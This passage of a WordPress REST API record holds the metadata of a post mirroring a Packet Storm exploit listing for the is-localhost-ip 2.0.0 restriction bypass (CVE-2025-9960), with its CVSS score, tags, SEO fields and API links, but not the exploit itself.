===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212666&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:6.9,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:N\/SC:N\/VI:L\/SI:N\/VA:N\/SA:N&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212666\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:38:27&#8243;,&#8221;description&#8221;:&#8221;is-localhost-ip version 2.0.0 suffers from a restriction bypass vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212666&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-9960&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n | # Title : is-localhost-ip 2.0.0 Restriction Bypass |\\n | # Author&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,48,12,21,13,53,7,11,5],"class_list":["post-30056","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-69","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=30056\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:38:27&#8243;,&#8221;description&#8221;:&#8221;is-localhost-ip version 2.0.0 suffers from a restriction bypass vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212666&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-9960&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : is-localhost-ip 2.0.0 Restriction Bypass |n | # Author...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=30056\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-10T12:52:24+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30056#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30056\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666\",\"datePublished\":\"2025-12-10T12:52:24+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30056\"},\"wordCount\":2427,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-6.9\",\"exploit\",\"MEDIUM\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30056#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30056\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30056\",\"name\":\"\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-10T12:52:24+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30056#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30056\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30056#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=30056","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:38:27&#8243;,&#8221;description&#8221;:&#8221;is-localhost-ip version 2.0.0 suffers from a restriction bypass vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212666&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-9960&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : is-localhost-ip 2.0.0 Restriction Bypass |n | # Author...","og_url":"https:\/\/zero.redgem.net\/?p=30056","og_site_name":"zero redgem","article_published_time":"2025-12-10T12:52:24+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=30056#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=30056"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666","datePublished":"2025-12-10T12:52:24+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=30056"},"wordCount":2427,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-6.9","exploit","MEDIUM","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=30056#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=30056","url":"https:\/\/zero.redgem.net\/?p=30056","name":"\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-10T12:52:24+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=30056#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=30056"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=30056#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30056","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30056"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30056\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30056"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30056"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30056"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}